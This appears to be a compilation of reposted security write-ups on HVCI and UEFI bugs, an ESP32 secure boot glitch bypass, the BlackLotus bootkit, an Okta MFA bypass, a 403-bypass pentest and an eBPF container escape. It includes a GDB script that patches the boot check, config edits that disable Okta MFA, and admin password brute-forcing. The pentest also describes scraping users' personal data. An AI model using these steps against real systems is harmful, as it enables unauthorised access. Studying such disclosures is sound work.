Hunting down the HVCI bug in UEFI

Hunting down the HVCI bug in UEFI

Original text by Satoshi’s notes

This post was coauthored with Andrea Allievi (@aall86), a Windows Core OS engineer who analyzed and fixed the issue.

This post details the story and technical details of the non-secure Hypervisor-Protected Code Integrity (HVCI) configuration vulnerability disclosed and fixed with the January 9th update on Windows. This vulnerability, CVE-2024-21305, allowed arbitrary kernel-mode code execution, effectively bypassing HVCI within the root partition.

While analysis of the HVCI bypass bug alone can be interesting enough, I and Andrea found that the process of root causing and fixing it would also be fun to detail and decided to write this up together. The first half of this article was authored by me, and the second half was by Andrea. Readers can expect a great deal of Windows internals and x64 architecture details thanks to Andrea’s contribution!

Discovery to reporting


The discovery of the bug was one of the by-products of hvext.js, the Windbg extension for studying the implementation of Hyper-V on Intel processors. With the extension, I dumped EPT on a few devices to better understand the implementation of HVCI, and one of them showed readable, writable, and kernel-mode executable (later referred to as RWX) guest physical addresses (GPAs). When HVCI is enabled, such GPAs should not exist as it would allow generation and execution of arbitrary code in kernel-mode. Eventually, out of 7 Intel devices I had, I found 3 devices with this issue, ranging from 6th to 10th generation processors.


Exploiting this issue for a verification purpose was trivial as the RWX GPAs did not change across reboot or when test-signing was enabled. I wrote the driver that remapped a choice of linear address onto one of RWX GPAs and placed shellcode there, and was able to execute the shellcode as expected! If HVCI were working as intended, the PoC driver would have failed to write shellcode and caused a bug check. For more details on the PoC, see the report on GitHub.

I asked Andrea about this and was told it could be a legit issue.

Partial root causing

I was curious why the issue was seen on only some devices and started to investigate what the RWX GPAs were.

Contents of those GPAs all seemed zero during runtime, and RamMap indicated it was outside NTOS-managed memory. I dumped memory during the Winload debug session, but they were still vastly zero. It was the same even during the UEFI shell phase.

At this point, I thought it might be UEFI-reserved regions. First, I realized that the RWX GPAs were parts of Reserved regions but did not exactly match, per the output of the 

 UEFI shell command. Shortly after, I discovered the regions exactly corresponded to the ranges reported by the Reserved Memory Region Reporting (RMRR) structure in the DMAR ACPI table.

I spent more time trying to understand why they were marked as RWX and why it occurred on only some machines. Eventually, I could not get the answers, but I was already reasonably satisfied with my findings and decided to hand this over to MSFT.


I sent an initial write-up to Andrea, then, an updated one to MSRC a few days later. Though, it turned out that Andrea was the engineer in charge of this case. Such a small world.

Nothing much happened until mid-October when Andrea privately let me know he root caused and fixed it, and also offered to write up technical details from his perspective.

So the following is his write-up with a lot of technical details!

Technical details and fixes

Intel VT-x and its limitation

So what is the DMAR table and why was important in this bug?

To understand it we should take a step back and briefly introduce one of the first improvements of the Intel Virtualization Extension (Intel VT-x). Indeed, Intel VT-x was introduced back around the year 2004 and, in its initial implementation, it misses some parts of the technology that are currently used in modern Operating Systems (in 2023). In particular:

  1. The specifications did not include a hardware Stage-2 MMU able to perform the translation of the Guest physical addresses (GPAs) to System physical addresses (SPAs). First Hypervisors (like VmWare) were using a technique calling Memory Shadowing
  2. Similarly, the specification did not protect devices performing DMA to system memory addresses.

As the reader can imagine, this was not compatible with the Security standard required nowadays, so multiple “addendums” were added at the first implementation. While in this article we are not talking about #1 (plenty of articles are available online, like this one), we will give a short introduction and description of the Intel VT-d technology, which aims at protecting Device data transfer initiated via DMA.

Intel VT-d

Intel maintains the VT-d technology specifications at the following URL:

The document is updated quite often (at the time of this writing, we are at revision 4.1) and explains how an I/O memory management unit (IOMMU) can now protect devices to access memory that belongs to another VM or is reserved for the the host Hypervisor or OS.

A device can be exposed by the Hypervisor in different ways:

  • Emulated devices always cause a VMEXIT and they are emulated by a component in the Virtualization stack.
  • Paravirtualized devices are synthetic devices that communicate with the host device through a technology implemented in the Host Hypervisor (VmBus in case of HyperV).
  • Hardware accelerated devices are mapped directly in the VM. (readers who want to know more can check Chapter 9 of the Windows Internals book).

All the hardware devices are directly mapped in the root partition by the HV. To correctly support Hardware accelerated devices in a child VM the HV needs an IOMMU. But what exactly is an IOMMU? To be able to isolate and restrict device accesses to just the resource owned by the VM (or by the root partition), an IOMMU should provide the following capabilities:

  • I/O device assignment
  • DMA remapping to support address translations for Direct Memory Accesses (DMA) initiated by the devices
  • Interrupt remapping and posting for supporting isolation and routing of interrupts to the appropriate VM

DMA remapping

The DMA remapping capability is the feature related to the bug found in the Hypervisor. Indeed, to properly isolate DMA requests coming from hardware devices, an IOMMU must translate request coming from the endpoint device attached to the Root Complex (which, in its simplest form, a DMA request is composed of a target DMA address/size and originating device ID specified as Bus/Dev/Function — BDF) to its corresponding Host Physical Address (HPA).

Note that readers that do not know what a Root Complex is or how the PCI-Ex devices interact with the system memory bus can read the excellent article by Gbps located here (he told me that a part 2 is coming soon 🙂 ).

The IOMMU defines the Domain concept, such an isolated environment in the platform for which a subset of host physical memory is allocated (basically a bunch of isolated physical memory pages). The isolation property of a domain is achieved by blocking access to its physical memory from resources not assigned to it. Software creates and manages domains, allocates the backing physical memory (SPAs), and sets up the DMA address translation function using “Device-to-Domain Mapping” and “Hierarchical Address translation” structures.

Skipping a lot of details, both structures can be thought as “Special” page tables:

  • Device–to-Domain Mapping structures are addressed by the BDF of the source device. In the Intel manual this is called “Source ID” and yield backs the domain ID and the root Address Translation structures for the domain (yes, entries in this table are 128 bits indeed, and not 64).
  • Hierarchical Address translation structures are addressed by the source DMA address, which is treated as GPA, and outputs the final Host Physical address used as target for the DMA transfer.

The concepts above are described by the following figure (source: Intel Manual):

DMAR ACPI table and RMRR structure

The architecture defines that any IOMMU present in the system must be detected by the BIOS and announced via an ACPI table, called DMA Remapping Reporting (DMAR). The DMAR is composed of multiple remapping structures. For example, an IOMMU is reported with the DMA Remapping Unit Definition (DRHD) structure. Describing all of them is beyond the scope of this article.

What if a device always needs to perform DMA transfer with specific memory regions? Certain devices, like the Network controller, when used for debugging (for example in KDNET), or the USB controller, when used for legacy Keyboard emulation in the BIOS, should always be able to perform DMA both before and after setting up IOMMU. For these kinds of devices, the Reserved Memory Region Reporting (RMRR) structure is used by the BIOS to describe regions of memory where the DMA should always be possible.

Two important concepts described in the Intel manual regarding the RMRR structure:

  1. The BIOS should report physical memory described in the RMRR as Reserved in the UEFI memory map.
  2. When the OS enables DMA remapping, it should set up the Second-stage address translation structures for mapping the physical memory described by the RMRR using the “identity mapping” with read and write (RW) permission (meaning that GPA X is mapped to HPA X).

Interaction with Windows, and the bug

In some buggy machines, consideration #1 was not happening, meaning that neither the HV nor the Secure Kernel know about this memory range from the UEFI memory map.

When booting, the Hypervisor initializes its internal state, creates the Root partition (again, details are in the Windows Internals book) and performs the IOMMU initialization in multiple phases. On AMD64 machines, one of these phases requires parsing the RMRR. Note that the HV still has no idea whether the system will enable VBS/HVCI or not, so it has no options other than applying the full identity mapping to the range (which implies RWX protection).

When the Secure Kernel later starts and determines that HVCI should be enabled, it will set the new “default VTL permission” to be RW (but not Execute) and will inform the hypervisor by setting the public HvRegisterVsmPartitionConfig synthetic MSR (documented in the Hypervisor TLFS). When VTL 1 of the target partition sets the default VTL protection and writes to the HvRegisterVsmPartitionConfig MSR, it causes a VMEXIT to the Hypervisor, which cycles between each valid Guest physical frame described in the UEFI memory map and mapped in the VTL 0 SLAT, removing the “Execute” permission bit (as dictated by the “DefaultVtlProtectionMask” field of the synthetic register).

Mindful readers can already understand what is going wrong here. In buggy firmware, where the RMRR is not set in the UEFI memory map, leaves the “Execute” protection of the described region on, producing a HVCI violation (thanks Satoshi).


MSFT has fixed (thanks Andrea) the issue working on two separate sides:

  1. Fixing the firmware in all the commercial devices MSFT released, forcing the RMRR memory region to be included in the UEFI memory map
  2. Implementing a trick in the HV. Since the architecture requires that the RMRR memory region must be mapped in the IOMMU (via the Hierarchical Address translation structures as described above) using identity map with RW access permission (but no X — Execute), we decided to perform some compatibility tests and see what happen if the HV protects all the initial PFNs for RMRR memory regions in the SLAT by stripping the X bit. Indeed, the OS always needs to read or write to those regions, so programming the SLAT is needed.

Tests for fix 2 worked and produced almost 0 compatibility issue, so MSFT decided also to increase the protection and remove the X permission on all RMRR memory region by default on ALL systems, also increasing the protection when the firmware is bugged.


Hope you enjoyed this jointly written post with both bug reporter’s and developer’s perspectives and a great deal of details on the interaction of VT-d and Hyper-V by Andrea.

To summarize, the combination of buggy UEFI that did not follow one of the requirements by the Intel VT-d specification and permissive default EPT configuration caused unintended RWX GPAs under HVCI. MSFT resolved the issue by correcting the default permission and their UEFI and released the fix on January 9. Not all devices are vulnerable to this issue. However, you may identify vulnerable devices by checking the 

 UEFI shell command not showing the exact RMRR memory regions as Reserved.

This repo contains the report and PoC of CVE-2024-21305, the non-secure Hypervisor-Protected Code Integrity (HVCI) configuration vulnerability. This vulnerability allowed arbitrary kernel-mode code execution, effectively bypassing HVCI, within the root partition. For the root cause, read the blog post coauthored with Andrea Allievi (@aall86), a Windows Core OS engineer who analyzed and fixed the issue.

The report in this repo is what I sent to MSRC, which contains the PoC and an initial analysis of the issue.


Pwn the ESP32 Secure Boot

Pwn the ESP32 Secure Boot

Original text by  LimitedResults

In this post, I focus on the ESP32 Secure Boot and I disclose a full exploit to bypass it during the boot-up, using low-cost fault injection technique.

Espressif and I decided to go to Responsible Disclosure for this vulnerability (CVE-2019-15894).

The Secure Boot

Secure boot is the guardian of the firmware authenticity stored into the external SPI Flash memory.

It is easy for an attacker to reprogram the content of the SPI Flash memory, then to run its malicious firmware on the ESP32. The secure boot is here to protect against this kind of firmware modification.

It creates a chain of trust from the BootROM to the bootloader until the application firmware. It guarantees the code running on the device is genuine and cannot be modified without signing the binaries (using a secret key). The device will not execute untrusted code otherwise.

ESP32 Secure boot details

Espressif provides a complete online documentation here, dedicated to this feature.

How it works?

Secure boot is normally set during the production (at the factory), considered as a secureenvironment.

During the Production

Secure boot key (SBK) into e-Fuses

The ESP32 has a One Time Programmable (OTP) memory, based on four blocks of 256 e-Fuses (total of 1024 bits).

The Secure Boot Key (SBK) is burned into the eFuses BLK2 (256 bits) during the production. This key is then used by AES-256 ECB mode by the BootROM to verify the bootloader. According to Espressif, the SBK cannot be readout or modify (the software cannot access the BLK2 block due to the Read/Write Protection eFuse). 

This key has to be kept confidential to be sure an attacker cannot create a new bootloader image. It is also a good idea to have a unique key per device, to reduce the scalability if one day, the SBK is leaked or recovered.

ECDSA key Pair

During the production phase, the vendor will also create an ECDSA key pair ( private key and public key).

The private key has to be kept confidential. The public key will be included at the end of the bootloader image. This key will be in charge to verify the signature of the app image.

The digest

At the address 0x00000000 in the SPI flash layout, a 192-bytes digest has to be flashed. The output digest is 192 bytes of data is composed by 128 bytes of random, followed by the 64 bytes SHA-512 digest computed such as:

Digest = SHA-512(AES-256((bootloader.bin + ECDSA publ. key), SBK))

On the field now

During the boot-up, the secure boot process is the following:

Reset vector > ROM starts > ROM Loads and verifies Bootloader image (using SBK in OTP) > Bootloader is running > Bootloader loads and verifies App image > App image is running

The BootROM verification

After the reset, the CPU0 (PRO_CPU) executes the BootROM code (stage 0), which will be in charge to verify the bootloader signature. Then, the bootloader image (present at 0x1000 in the flash memory layout) is loaded into SRAM and the BootROM verifies the bootloader signature. If result is ok, the CPU0 then executes the bootloader (stage 1).

About The ECDSA verification

Micro-ECC (uECC) library is used to implement the ECDSA verification in the bootloader image, to verify the app image signature (stage 2).

I noticed this previous vulnerability CVE-2018-18558. It was fixed in esp-idf v3.1.

Focus on Stage 0

For an attacker, it is obviously more interesting to focus on the Bootloader verification done by the BootROM (not on the further stages).

The Software Setup

Compile and run a signed Application

A simple main.c like that should be enough as a test application:

void app_main()
     printf("Hello from SEC boot K1!\n");
     vTaskDelay(1000 / portTICK_PERIOD_MS);

To compile, I enable the (reflashable) secure boot via make menuconfig. That will automatically compute and insert the digest into the signed bootloader file. This config will generate a known Secure Boot Key. (I can reflash a different signed bootloader in the future). Security stays the same.

make menuconfig

After the end of the compilation, I finally flash the bootloader+digest file at 0x0 in the flash layout, the app image at 0x10000 and the table partition at 0x8000 using

Setting the Secure Boot

I enable the secure boot feature on a new ESP32 board manually, using these commands:

## Burn the secure boot key into BLK2
$ burn_key secure_boot ./hello_world_k1/secure-bootloader-key-256.bin
## Burn the ABS_DONE fuse to activate the sec boot
$ burn_efuse ABS_DONE_0

After the reset, the E-fuses map can be read using tool:

eFuses summary

Secure boot is enabled (ABS_DONE_0=1) and the secure boot key (BLK2) cannot be readout anymore. CONSOLE_DEBUG_DISABLE was already burned when I received the board.

The ESP32 will now authenticate the bootloader after each reset, the software then verifies the app and the code is running:

I (487) cpu_start: Pro cpu start user code                                      
I (169) cpu_start: Starting scheduler on PRO CPU.                               
Hello from SEC boot K1!
Hello from SEC boot K1!
Hello from SEC boot K1!

Note: Some advised people will probably notice I do not burn the JTAG_DISABLE eFuse…intentionally 😉

Compile and run the unsigned Application

To set my attack scenario, I create a new project with this straightforward hello_world C code in the main function:

void app_main()
     printf("Sec boot pwned by LimitedResults!\n");
     vTaskDelay(1000 / portTICK_PERIOD_MS);

I compile then I flash the unsigned bootloader and the unsigned app image. As expected, the device is bricked displaying an error message on the UART:

ets Jun  8 2016 00:22:57
 configsip: 0, SPIWP:0xee
 mode:DIO, clock div:2
 secure boot check fail
 ets_main.c 371
...(infinite loop)

Exactly what I wanted. The secure boot fails once it checks the unsigned bootloader. 

The attack is simple here. The goal is to find a way to force the ESP32 to execute this unsigned bootloader (then my unsigned app) on the ESP32.
Let’s reverse now.

The JTAG way

You remember I did not burn the JTAG fuse? It is great because I can now use this debug interface to identify the secure boot related functions and see how I can prepare an exploit.

OpenOCD + FT2232h board 

I download openOCD for ESP32 here and extract it:

$ wget
$ tar -xvf openocd-esp32-linux64-0.10.0-esp32-20190313.tar.gz
$ cd openocd-esp32

Full Debug Setup

I need an interface to connect via JTAG to the ESP32. The FT2232h board is perfect, it’s my Swiss army knife. The connections between the two boards are below:

FT2232H_GND        <-> ESP32_GND

JTAG setup. ESP32 on the left, FT2232h board on the right.

GDB session

Then, openOCD and GDB are launched in two distinctive shells:

# shell 1
$ ./bin/openocd -s share/openocd/scripts -f interface/ftdi/ft2232h_bb.cfg -f board/esp-wroom-32.cfg -c "init; reset halt"
# shell 2
$ xtensa-esp32-elf-gdb

I also add a minicom shell to UART0. At the end, it’s just a normal GDB debug session:

A shell for UART, a shell for GDB, a shell for openOCD and my custom config for the ft2232h breakout board

After reset, the Program Counter (PC) is directly landing at 0x40000400 aka the reset vector address, CPU is halted, and I have full control of the BootROM code flow.

Digging into the BootROM

The Dump

I dump the BootROM through the JTAG interface.

The Reverse

Note: I don’t detail the entire reverse here because it would take too long.

I am not the first working on this this ESP32 bootROM. This guys here and here did awesome jobs.

I became a little bit more familiar with Xtensa ISA since last year. Using IDA and a good plug-in from here, I was able to figure out.

The ISA reference manual is available here.

Digging into the Xtensa BootROM code, I finally identified a bnei instruction (0x400075B7) after ets_secure_boot_check_finish:

ecure boot final check BNEI (branch instruction validating or not the signed image).

The PC has to reach 0x400075C5 (right side) after the branch instruction (bnei) to validate the unsigned bootloader.
Let’s use and GDB over JTAG to confirm it.

Exploit validation (via GDB)

As seen above, patching the value inside the register a10 should be enough to reach 0x400075C5. Here is the GDB script example able to bypass the secure boot check, to finally execute my own image :

target remote localhost:3333
monitor reset halt
hb *0x400075B7
set $a10 = 0


$ xtensa-esp32-elf-gdb -x exploit.gdb

PoC video

Let’s set to 0 the a10 register to bypass the secure boot (via JTAG access).

Of course, other patching exploits are possible…But now, I just need to reproduce that, without using JTAG 🙂

Time to Pwn (for Real)

To reproduce this exploit, I can only use fault injection because it’s the only way to interact with the ESP32 bootROM code (no control otherwise).

The target

The LOLIN board will be used for the PoC:

LOLIN dev-kit (10$ on Amazon)

I configure the second board to enable the secure boot. Here is the device’s eFuses:

eFuses Security configuration of the device under test. Secure boot enabled, JTAG disabled, Console debug disabled.

Power domains (Round 2)

During my post on ‘DFA warm-up’ here, I already modified VDD_CPU line to attach directly the output of the glitcher to the VDD_CPU pin.

Surprisingly, during my first tests, glitching the VDD_CPU did not affect so much the normal behaviour of the chip during the bootROM process. 

I have to find a solution. After probing some lines, I am suspecting the VDD_RTC plays a important role during the bootROM process.

Consequently, I decide to double glitch on the VDD_CPU and VDD_RTC simultaneously, to provide maximum voltage drop-out during the bootROM execution.

I cut the VDD_RTC line and I solder a second magnet wire to the VDD_RTC pin. The final PCB looks like that:

Glitch on VDD_CPU and VDD_RTC simultaneously. SMD grabber on MOSI pin.

The SMD grabber is connected to the MOSI. I will be able to see the activity on the SPI bus between the SPI, storing the bootloader image, and the ESP32, which will authenticate and run the image). 

This MOSI signal gives a nice timing information (see CH2 on scope screens below).

Hardware Setup

I use python to script and synchronise all the equipments:

Final setup to pwn the ESP32 secure boot.

It is time to obtain results, I would say.

Fault session

ESP32 Stuck in a loop

As already explained, the ESP32 automatically reset after each secure boot check:

ets Jun  8 2016 00:22:57                                                        
 rst:0x10 (RTCWDT_RTC_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)                     
 configsip: 0, SPIWP:0xee                                                        
 mode:DIO, clock div:2                                                           
 secure boot check fail                                                          
 ets_main.c 371                                                                  
 ets Jun  8 2016 00:22:57
...(infinite loop)     

Timing Fault

Here is a scope capture:

Secure boot check fail. CH1= UART TX; CH2=SPI MOSI

The signature verification is obviously achieved between the last SPI data frames and the UART error message ‘secure boot check fail’ (RS232-TX). 

Glitch effect is visible on the UART line (CH1).

According to what I saw during the BootROM reverse, the ets_secure_boot_check_finish is a tiny function and I am pretty sure about its timing location. It is why I am starting to glitch near to the end of the SPI flash MOSI data (CH2).

Fault injections is like fishing. When you are sure you are in a good spot with the good rods and fresh baits, you just have to wait. It is just a matter of time to obtain the good behavior:

Entry Point 0x400807a0 => Secure boot bypassed.

Note: Glitch Timing is really dependent of the setup.

Once the glitch is successful, the CPU is jumping to the entry point (see entry 0x400807a0 on scope) and the unsigned bootloader previously loaded in SRAM0 is then executed. Secure boot is bypassed and the attack is effective until the next reset. 

Here is the UART log when the attack is successful:

st:0x10 (RTCWDT_RTC_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)                     
 configsip: 0, SPIWP:0xee                                                        
 mode:DIO, clock div:2                                                           
 entry 0x400807a0                                                                
 D (88) bootloader_flash: mmu set block paddr=0x00000000 (was 0xffffffff)        
 I (38) boot: ESP-IDF v4.0-dev-667-gda13efc-dirty 2nd stage bootloader           
 I (487) cpu_start: Pro cpu start user code                                      
 I (169) cpu_start: Starting scheduler on PRO CPU.                               
 Sec boot pwned by LimitedResults!                                               
 Sec boot pwned by LimitedResults!                                               
 Sec boot pwned by LimitedResults!                                               
...(infinite loop)   

Original PoC video

Sorry for the tilt:

Original PoC


A complete exploit on the ESP32 secure boot using voltage glitching technique has been presented.
First, BootROM was reversed to find the function in charge to verify the bootloader signature. Then, an exploit was prepared using patching function over JTAG on a first ESP32 board. Finally, the exploit was reproduced on a second ESP32 board, using voltage fault injection to disrupt the BootROM process, to finally execute unsigned firmware on ESP32.

All the ESP32 already shipped (with only secure boot enabled) are vulnerable. 

Due to the low-complexity of the attack, it can be reproduced on the field easily, (less than one day and using less than 1000$ equipment).

This vulnerability cannot be fixed without Hardware Revision. Espressif has already shipped dozens of Millions of devices.

The only way to mitigate is certainly to use Secure Boot + Flash Encryption configuration. But maybe not after all, teaser here.

Stay tuned for the final act!

Timeline Disclosure

04/06/2019: Email sent to Espressif with the PoC video.

05/06/2019: Espressif team is asking for more details. 

01/08/2019: Light report on Secure Boot + PoC sent to Espressif. Espressif announces a second team has also reported something very similar (they did not want to disclose details about this team). Espressif proposes to go for CVE.

12/08/2019: Espressif is OK for 30-days disclosure process. Espressif announces they may decide to not register CVE.

30/08/2019: Espressif announces CVE is on going.

01/09/2019: Posted.


02/09/2019: Security advisory from Espressif released here.

05/09/2019: Espressif provides Common Vulnerabilities and Exposures number CVE-2019-15894. Link here.

BlackLotus Becomes First UEFI Bootkit Malware to Bypass Secure Boot on Windows 11

BlackLotus Becomes First UEFI Bootkit Malware to Bypass Secure Boot on Windows 11

Original text by Ravie Lakshmanan

A stealthy Unified Extensible Firmware Interface (UEFI) bootkit called BlackLotus has become the first publicly known malware capable of bypassing Secure Boot defenses, making it a potent threat in the cyber landscape.

«This bootkit can run even on fully up-to-date Windows 11 systems with UEFI Secure Boot enabled,» Slovak cybersecurity company ESET said in a report shared with The Hacker News.

UEFI bootkits are deployed in the system firmware and allow full control over the operating system (OS) boot process, thereby making it possible to disable OS-level security mechanisms and deploy arbitrary payloads during startup with high privileges.

Offered for sale at $5,000 (and $200 per new subsequent version), the powerful and persistent toolkit is programmed in Assembly and C and is 80 kilobytes in size. It also features geofencing capabilities to avoid infecting computers in Armenia, Belarus, Kazakhstan, Moldova, Romania, Russia, and Ukraine.

Details about BlackLotus first emerged in October 2022, with Kaspersky security researcher Sergey Lozhkin describing it as a sophisticated crimeware solution.

«This represents a bit of a ‘leap’ forward, in terms of ease of use, scalability, accessibility, and most importantly, the potential for much more impact in the forms of persistence, evasion, and/or destruction,» Eclypsium’s Scott Scheferman noted.

BlackLotus, in a nutshell, exploits a security flaw tracked as CVE-2022-21894 (aka Baton Drop) to get around UEFI Secure Boot protections and set up persistence. The vulnerability was addressed by Microsoft as part of its January 2022 Patch Tuesday update.

A successful exploitation of the vulnerability, according to ESET, allows arbitrary code execution during early boot phases, permitting a threat actor to carry out malicious actions on a system with UEFI Secure Boot enabled without having physical access to it.

«This is the first publicly known, in-the-wild abuse of this vulnerability,» ESET researcher Martin Smolár said. «Its exploitation is still possible as the affected, validly signed binaries have still not been added to the UEFI revocation list

«BlackLotus takes advantage of this, bringing its own copies of legitimate – but vulnerable – binaries to the system in order to exploit the vulnerability,» effectively paving the way for Bring Your Own Vulnerable Driver (BYOVD) attacks.

Besides being equipped to turn off security mechanisms like BitLocker, Hypervisor-protected Code Integrity (HVCI), and Windows Defender, it’s also engineered to drop a kernel driver and an HTTP downloader that communicates with a command-and-control (C2) server to retrieve additional user-mode or kernel-mode malware.

The exact modus operandi used to deploy the bootkit is unknown as yet, but it starts with an installer component that’s responsible for writing the files to the EFI system partition, disabling HVCI and BitLocker, and then rebooting the host.

The restart is followed by the weaponization of CVE-2022-21894 to achieve persistence and install the bootkit, after which it is automatically executed on every system start to deploy the kernel driver.

While the driver is tasked with launching the user-mode HTTP downloader and running next-stage kernel-mode payloads, the latter is capable of executing commands received from the C2 server over HTTPS.

This includes downloading and executing a kernel driver, DLL, or a regular executable; fetching bootkit updates, and even uninstalling the bootkit from the infected system.

«Many critical vulnerabilities affecting security of UEFI systems have been discovered in the last few years,» Smolár said. «Unfortunately, due the complexity of the whole UEFI ecosystem and related supply-chain problems, many of these vulnerabilities have left many systems vulnerable even a long time after the vulnerabilities have been fixed – or at least after we were told they were fixed.»

«It was just a matter of time before someone would take advantage of these failures and create a UEFI bootkit capable of operating on systems with UEFI Secure Boot enabled.»

Bypassing Okta MFA Credential Provider for Windows

Bypassing Okta MFA Credential Provider for Windows

Original text by n00py

I’ll state this upfront, so as not to confuse: This is a POST exploitation technique. This is mostly for when you have already gained admin on the system via other means and want to be able to RDP without needing MFA.

Okta MFA Credential Provider for Windows enables strong authentication using MFA with Remote Desktop Protocol (RDP) clients. Using Okta MFA Credential Provider for Windows, RDP clients (Windows workstations and servers) are prompted for MFA when accessing supported domain joined Windows machines and servers.


This is going to be very similar to my other post about Bypassing Duo Two-Factor Authentication. I’d recommend reading that first to provide context to this post.

Biggest difference between Duo and Okta is that Okta does not have fail open as the default value, making it less likely of a configuration. It also does not have “RDP Only” as the default, making the console bypass also less likely to be successful.

With that said, if you do have administrator level shell access, it is quite simple to disable.

For Okta, the configuration file is not stored in the registry like Duo but in a configuration file located at:

 C:\Program Files\Okta\Okta Windows Credential Provider\config\rdp_app_config.json

There are two things you need to do:

  • Modify the InternetFailOpenOption value to true
  • Change the Url value to something that will not resolve.

After that, attempts to RDP will not prompt Okta MFA.

It is of course always possible to uninstall the software as an admin, but ideally we want to achieve our objective with the least intrusive means possible. These configuration files can easily be flipped back when you are done.

Unusual 403 Bypass to a full website takeover [External Pentest]

Unusual 403 Bypass to a full website takeover [External Pentest]

Original text by Viktor Mares

Today we’ll look at one of the external penetration tests that I carried out earlier this year. Due to the confidentiality agreement, we will use the usual domain of REDACTED.COM

So, to provide a bit of context to the test, it is completely black box with zero information being provided from the customer. The only thing we know is that we are allowed to test and the subdomain

I’ll skip through the whole passive information gathering process and will get straight to the point.

I start actively scanning and navigating through the website to discover potential entry points. There are no ports open other than 80 & 443.

So, I start directory bruteforcing with gobuster and straightaway, I see an admin panel that returns a 403 — Forbidden response.


Seeing this, we navigate to the website to verify that it is indeed a 403 and to capture the request with Burp Suite for potential bypasses.

admin panel — 403

In my mind, I am thinking that it will be impossible to bypass this, because there is an ACL for internal IP addresses. Nevertheless, I tried the following to bypass the 403:

  • HTTP Methods fuzzing (GET, POST, TRACE, HEAD etc.)
  • HTTP Headers fuzzing (X-Originating-IP:, X-Forwarded-For: etc.)
  • Path fuzzing/force browsing (, and more)
  • Protocol version changing (From HTTP 1.2, downgrade to HTTP 1.1 etc.)
  • String terminators (%00, 0x00, //, ;, %, !, ?, [] etc.) — adding those to the end of the path and inside the path

Long story short, none of those methods worked. So, I remember that sometimes the security controls are built around the literal spelling and case of components within a request. Therefore, I tried the ‘Case Switching’ technique — probably sounds dumb, but it actually worked!

To sum it up:

  • -> 403 Forbidden
  • -> 200 OK
  • -> 200 OK

Swiching any of the letters to a capital one, will bypass the restriction.

Voila! We get a login page to the admin panel.

admin panel — bypassed 403

We get lucky with this one, nevertheless, we are now able to try different attacks (password spraying, brute forcing etc.). The company that we are testing isn’t small and we had collected quite a large number of employee credentials from leaked databases (leak check, leak peek and others). However, this is the admin panel and therefore we go with the usual tests:

  • See if there is username enumeration
  • See if there are any login restrictions
  • Check for possible WAF that will block us due to number of requests

To keep it short, there is neither. We are unable to enumerate usernames, however there is no rate limiting of any sort.

Considering the above, we load rockyou.txt and start brute forcing the password of the ‘admin’ account. After a few thousand attempts, we see the below:

admin panel brute forcing w/ Burp Suite

We found valid credentials for the admin account. Navigate to the website’s admin panel, authenticate and we are in!

Admin panel — successful authentication

Now that we are in, there isn’t much more that we need to do or can do (without the consent of the customer). The admin panel with administrative privileges allows you to change the whole configuration — control the users & their attributes, control the website’s pages, control everything really. So, I decided to write a Python script that scrapes the whole database of users (around 39,300 — thirty nine thousand and three hundred) that contains their names, emails, phones & addresses. The idea to collect all those details is to then present them to the client (victim) — to show the seriousness of the exploited vulnerabilities. Also, due to the severity of those security weaknesses, we wrote a report the same day for those specific issues, which were fixed within 24 hours.

Ultimately, there wasn’t anything too difficult in the whole exploitation process, however the unusual 403 bypass is really something that I see for the first time and I thought that some of you might weaponize this or add it to your future 403 bypass checklists.

If you enjoyed the read, please consider supporting me:

Exploiting CVE-2021-3490 for Container Escapes

Exploiting CVE-2021-3490 for Container Escapes

Original text by Karsten König

Today, containers are the preferred approach to  deploy software or create build environments in CI/CD lifecycles. However, since the emergence of container solutions and environments like Docker and Kubernetes, security researchers have consistently found ways to escape from containers once they are compromised. Most attacks are based on configuration errors. But it is also possible to escalate privileges and escape to the container’s host system by exploiting vulnerabilities in the host’s operating system.

This blog shows how to modify an existing Linux kernel exploit in order to use it for container escapes and how the CrowdStrike Falcon® platform can help to prevent and hunt for similar threats.

Original Technique

Before we outline the modifications required to turn the exploit into a container escape, we first look at what the original exploit achieved.

Valentina Palmiotti published a full exploit for CVE-2021-3490 that can be used to locally escalate privileges to root on affected systems. The vulnerability was rooted in the eBPF subsystem of the Linux kernel and fixed in version 5.10.37. eBPF allows user space processes to load custom programs into the kernel and attach them to so-called events, thus giving user space the ability to observe kernel internals and, in specifically supported cases, to implement custom logic for networking, access control and other tasks. These eBPF programs have to pass a verifier before being loaded, which is supposed to guarantee that the code does not contain loops and does not write to memory outside of its dedicated area. This step should ensure that eBPF programs terminate and are not able to manipulate kernel memory, which would potentially allow attackers to escalate privileges. However, this verifier contained several vulnerabilities in the past. CVE-2021-3490  is one of them and can ultimately be used to achieve a kernel read and write primitive.

Building on the kernel read primitive, it is possible to leak a kernel pointer. eBPF programs can communicate with processes running in user space using so-called “eBPF maps.”  Every eBPF map is described by a 

struct bpf_map
 object, which contains a  field 
 pointing to a 
struct bpf_map_ops
. That struct contains several function pointers for working with the eBPF map. eBPF maps come in different kinds with different definitions for 
 stored at known offsets. For array maps, 
 will be set to point to the kernel symbol 
. The exploit will leak that address and then use it as a starting point to further scan the kernel’s memory space and read pointers from the kernel’s symbol table.

The kernel exports pointers to certain variables, objects and functions in a symbol table to make them accessible by kernel modules. This table is called 

. In order to look up the actual name of a stored symbol address, a second table, called 
, is utilized. A pointer to the string in 
 that contains the name is stored as part of every 
 entry, right after the pointer to the symbol itself. To find the address of a kernel symbol, the exploit first reads memory from kernel space starting at the leaked address of 
 using the arbitrary read primitive. This is done until the string containing the symbol name of interest is found in 


 is mapped after 
, the previously read memory region should contain the pointer to the string in 
. Therefore, the exploit then proceeds to search for that pointer, and the pointer to the actual symbol is stored right before it.

One clarification has to be made about the above code excerpt: There are two different formats of 

. Which one is used is decided when the Linux kernel is built from source by the configuration parameter 
. In one case, the actual addresses of the symbols and 
 entries are stored. However, in many kernel builds it does not actually contain pointers but offsets such that the address where the offset is stored plus the offset itself is the symbol’s address or the string’s address in 

Nevertheless, using this technique, the exploit identifies the address of 

. This object is a 
struct pid_namespace
 and describes the default process ID namespace new processes are started in.

Namespaces have become a  fundamental feature of Linux and are crucial to the idea of container environments. They allow separating system resources between different processes such that one process can observe a completely different set than others. For example, mount namespaces control observable filesystem mount points such that two processes can have different views of the filesystem. This allows a container’s filesystem to have a different root directory than the host. Process ID namespaces on the other side give processes a completely unique process tree. The first process in a process ID namespace always has the identifier (PID) 1. It is considered as the 

 process that initializes the operating system and from which new processes originate. Therefore, if this process is stopped, all other processes in the particular process ID namespace are stopped as well.

